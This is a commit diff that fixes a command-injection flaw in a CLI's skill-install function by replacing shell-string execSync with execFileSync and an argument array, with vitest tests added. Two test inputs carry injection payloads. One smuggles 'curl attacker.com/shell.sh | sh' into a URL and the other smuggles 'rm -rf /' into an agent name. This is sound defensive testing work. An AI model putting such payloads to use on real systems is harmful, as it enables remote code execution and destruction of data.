fix: prevent command injection in skill install (CWE-78)

src/commands/__tests__/skill-install-injection.test.ts

@@ -0,0 +1,132 @@
+/**
+ * CWE-78: Command injection via unsanitized skillUrl in installSkill
+ *
+ * The installSkill function interpolates user-supplied URLs into a shell
+ * command string and passes it to execSync, which invokes a shell.
+ * Shell metacharacters in the URL (;, |, $(), backticks) are interpreted,
+ * enabling arbitrary command execution.
+ *
+ * The fix replaces execSync(string) with execFileSync("npx", [...args]),
+ * which bypasses shell interpretation entirely.
+ */
+
+import { beforeEach, describe, expect, test, vi } from "vitest"
+
+function createSmitheryMock() {
+	return {
+		Smithery: vi.fn().mockImplementation(() => ({
+			skills: {
+				get: vi.fn().mockResolvedValue({
+					id: "test-id",
+					namespace: "test-ns",
+					slug: "test-skill",
+				}),
+			},
+		})),
+	}
+}
+
+vi.mock("@smithery/api", () => createSmitheryMock())
+vi.mock("@smithery/api/client.js", () => createSmitheryMock())
+
+vi.mock("node:child_process", () => ({
+	execSync: vi.fn(),
+	execFileSync: vi.fn(),
+}))
+
+vi.spyOn(console, "log").mockImplementation(() => {})
+vi.spyOn(console, "error").mockImplementation(() => {})
+
+describe("CWE-78: command injection via skillUrl", () => {
+	beforeEach(() => {
+		vi.clearAllMocks()
+	})
+
+	test("URL with shell metacharacters must not be interpolated into a shell command string", async () => {
+		const childProcess = await import("node:child_process")
+		const { installSkill } = await import("../skill/install")
+
+		// Malicious URL containing shell injection payload
+		const maliciousUrl = "http://evil.com/x; curl attacker.com/shell.sh | sh"
+
+		await installSkill(maliciousUrl)
+
+		// After fix: execFileSync should be called instead of execSync
+		// The URL must be passed as a single array element, not interpolated into a string
+		const execFileSync = childProcess.execFileSync as ReturnType<typeof vi.fn>
+		const execSync = childProcess.execSync as ReturnType<typeof vi.fn>
+
+		// execSync with a string command must NOT be called
+		expect(execSync).not.toHaveBeenCalled()
+
+		// execFileSync must be called with args as an array
+		expect(execFileSync).toHaveBeenCalledTimes(1)
+		const [cmd, args] = execFileSync.mock.calls[0]
+		expect(cmd).toBe("npx")
+		expect(args).toContain(maliciousUrl)
+		// The malicious URL must be a single, intact argument — not split by the shell
+		expect(
+			args.every((a: string) => !a.includes(";") || a === maliciousUrl),
+		).toBe(true)
+	})
+
+	test("agent parameter with shell metacharacters must not be interpolated", async () => {
+		const childProcess = await import("node:child_process")
+		const { installSkill } = await import("../skill/install")
+
+		const maliciousAgent = "claude; rm -rf /"
+
+		await installSkill("test-ns/test-skill", maliciousAgent)
+
+		const execFileSync = childProcess.execFileSync as ReturnType<typeof vi.fn>
+		expect(execFileSync).toHaveBeenCalledTimes(1)
+		const [, args] = execFileSync.mock.calls[0]
+		// The agent string must be passed as a single array element
+		expect(args).toContain(maliciousAgent)
+	})
+
+	test("normal URL is passed correctly as array argument", async () => {
+		const childProcess = await import("node:child_process")
+		const { installSkill } = await import("../skill/install")
+
+		await installSkill("http://smithery.ai/skills/test/example")
+
+		const execFileSync = childProcess.execFileSync as ReturnType<typeof vi.fn>
+		expect(execFileSync).toHaveBeenCalledTimes(1)
+		const [cmd, args] = execFileSync.mock.calls[0]
+		expect(cmd).toBe("npx")
+		expect(args).toEqual([
+			"-y",
+			"skills",
+			"add",
+			"http://smithery.ai/skills/test/example",
+		])
+	})
+
+	test("all flags are passed as separate array elements", async () => {
+		const childProcess = await import("node:child_process")
+		const { installSkill } = await import("../skill/install")
+
+		await installSkill("http://smithery.ai/skills/test/example", "cursor", {
+			global: true,
+			yes: true,
+			copy: true,
+		})
+
+		const execFileSync = childProcess.execFileSync as ReturnType<typeof vi.fn>
+		expect(execFileSync).toHaveBeenCalledTimes(1)
+		const [cmd, args] = execFileSync.mock.calls[0]
+		expect(cmd).toBe("npx")
+		expect(args).toEqual([
+			"-y",
+			"skills",
+			"add",
+			"http://smithery.ai/skills/test/example",
+			"--agent",
+			"cursor",
+			"-g",
+			"-y",
+			"--copy",
+		])
+	})
+})

src/commands/__tests__/skills.test.ts

@@ -38,6 +38,7 @@ vi.mock("@smithery/api/client.js", () => createSmitheryMock())
 // Mock child_process for install
 vi.mock("node:child_process", () => ({
 	execSync: vi.fn(),
+	execFileSync: vi.fn(),
 }))
 
 // Mock console methods
@@ -47,9 +48,14 @@ vi.spyOn(console, "error").mockImplementation(() => {})
 import { Smithery } from "@smithery/api"
 import { setOutputMode } from "../../utils/output"
 
-async function getCommand(): Promise<string> {
-	const { execSync } = await import("node:child_process")
-	return (execSync as ReturnType<typeof vi.fn>).mock.calls[0][0]
+async function getArgs(): Promise<string[]> {
+	const { execFileSync } = await import("node:child_process")
+	return (execFileSync as ReturnType<typeof vi.fn>).mock.calls[0][1]
+}
+
+/** Count how many times a value appears in an array */
+function countOccurrences(arr: string[], value: string): number {
+	return arr.filter((v) => v === value).length
 }
 
 describe("skills commands use public API", () => {
@@ -69,14 +75,15 @@ describe("skills commands use public API", () => {
 	})
 
 	test("skills install resolves skill URL with empty API key", async () => {
-		const { execSync } = await import("node:child_process")
+		const { execFileSync } = await import("node:child_process")
 		const { installSkill } = await import("../skill/install")
 
 		await installSkill("test-ns/test-skill", "claude-code", {})
 
 		expect(Smithery).toHaveBeenCalledWith({ apiKey: "" })
-		expect(execSync).toHaveBeenCalledWith(
-			expect.stringContaining("npx -y skills add"),
+		expect(execFileSync).toHaveBeenCalledWith(
+			"npx",
+			expect.arrayContaining(["-y", "skills", "add"]),
 			expect.any(Object),
 		)
 	})
@@ -91,28 +98,35 @@ describe("installSkill flag mapping", () => {
 		const { installSkill } = await import("../skill/install")
 		await installSkill("test-ns/test-skill")
 
-		const command = await getCommand()
-		expect(command).toBe(
-			"npx -y skills add https://smithery.ai/skills/test-ns/test-skill",
-		)
+		const args = await getArgs()
+		expect(args).toEqual([
+			"-y",
+			"skills",
+			"add",
+			"https://smithery.ai/skills/test-ns/test-skill",
+		])
 	})
 
-	test("with agent, no yes — adds --agent but stays interactive", async () => {
+	test("with agent, no yes — adds --agent but no extra -y flag", async () => {
 		const { installSkill } = await import("../skill/install")
 		await installSkill("test-ns/test-skill", "claude-code", {})
 
-		const command = await getCommand()
-		expect(command).toContain("--agent claude-code")
-		expect(command).not.toMatch(/-y$/)
+		const args = await getArgs()
+		expect(args).toContain("--agent")
+		expect(args).toContain("claude-code")
+		// Only the npx -y should be present, not an additional -y for yes option
+		expect(countOccurrences(args, "-y")).toBe(1)
 	})
 
 	test("with agent and yes — adds --agent and -y", async () => {
 		const { installSkill } = await import("../skill/install")
 		await installSkill("test-ns/test-skill", "claude-code", { yes: true })
 
-		const command = await getCommand()
-		expect(command).toContain("--agent claude-code")
-		expect(command).toMatch(/-y$/)
+		const args = await getArgs()
+		expect(args).toContain("--agent")
+		expect(args).toContain("claude-code")
+		// npx -y plus options -y = 2 occurrences
+		expect(countOccurrences(args, "-y")).toBe(2)
 	})
 
 	test("all options — maps every flag", async () => {
@@ -123,11 +137,12 @@ describe("installSkill flag mapping", () => {
 			copy: true,
 		})
 
-		const command = await getCommand()
-		expect(command).toContain("--agent cursor")
-		expect(command).toContain("-g")
-		expect(command).toContain("-y")
-		expect(command).toContain("--copy")
+		const args = await getArgs()
+		expect(args).toContain("--agent")
+		expect(args).toContain("cursor")
+		expect(args).toContain("-g")
+		expect(countOccurrences(args, "-y")).toBe(2)
+		expect(args).toContain("--copy")
 	})
 })
 
@@ -145,9 +160,9 @@ describe("setup command flow", () => {
 			yes: true,
 		})
 
-		const command = await getCommand()
-		expect(command).toContain("-g")
-		expect(command).toMatch(/-y$/)
+		const args = await getArgs()
+		expect(args).toContain("-g")
+		expect(countOccurrences(args, "-y")).toBe(2)
 	})
 })
 
@@ -162,9 +177,10 @@ describe("skill install command flow", () => {
 		// Mirrors: installSkill(skill, agent, { global, yes: !!agent })
 		await installSkill("test-ns/test-skill", "claude-code", { yes: true })
 
-		const command = await getCommand()
-		expect(command).toContain("--agent claude-code")
-		expect(command).toMatch(/-y$/)
+		const args = await getArgs()
+		expect(args).toContain("--agent")
+		expect(args).toContain("claude-code")
+		expect(countOccurrences(args, "-y")).toBe(2)
 	})
 
 	test("without agent — interactive (yes: false)", async () => {
@@ -173,8 +189,9 @@ describe("skill install command flow", () => {
 		// Mirrors: installSkill(skill, undefined, { global, yes: false })
 		await installSkill("test-ns/test-skill", undefined, { yes: false })
 
-		const command = await getCommand()
-		expect(command).not.toMatch(/-y$/)
-		expect(command).not.toContain("--agent")
+		const args = await getArgs()
+		// Only the npx -y, no additional -y for yes option
+		expect(countOccurrences(args, "-y")).toBe(1)
+		expect(args).not.toContain("--agent")
 	})
 })

src/commands/skill/install.ts

@@ -52,17 +52,17 @@ export async function installSkill(
 		fatal("Failed to resolve skill", error)
 	}
 
-	const { execSync } = await import("node:child_process")
+	const { execFileSync } = await import("node:child_process")
 
-	const flags: string[] = []
-	if (agent) flags.push("--agent", agent)
-	if (options.global) flags.push("-g")
-	if (options.yes) flags.push("-y")
-	if (options.copy) flags.push("--copy")
+	const args: string[] = ["-y", "skills", "add", skillUrl]
+	if (agent) args.push("--agent", agent)
+	if (options.global) args.push("-g")
+	if (options.yes) args.push("-y")
+	if (options.copy) args.push("--copy")
 
-	const command = `npx -y skills add ${skillUrl}${flags.length ? ` ${flags.join(" ")}` : ""}`
+	const command = `npx ${args.join(" ")}`
 	console.log()
 	console.log(pc.cyan(`Running: ${command}`))
 	console.log()
-	execSync(command, { stdio: "inherit" })
+	execFileSync("npx", args, { stdio: "inherit" })
 }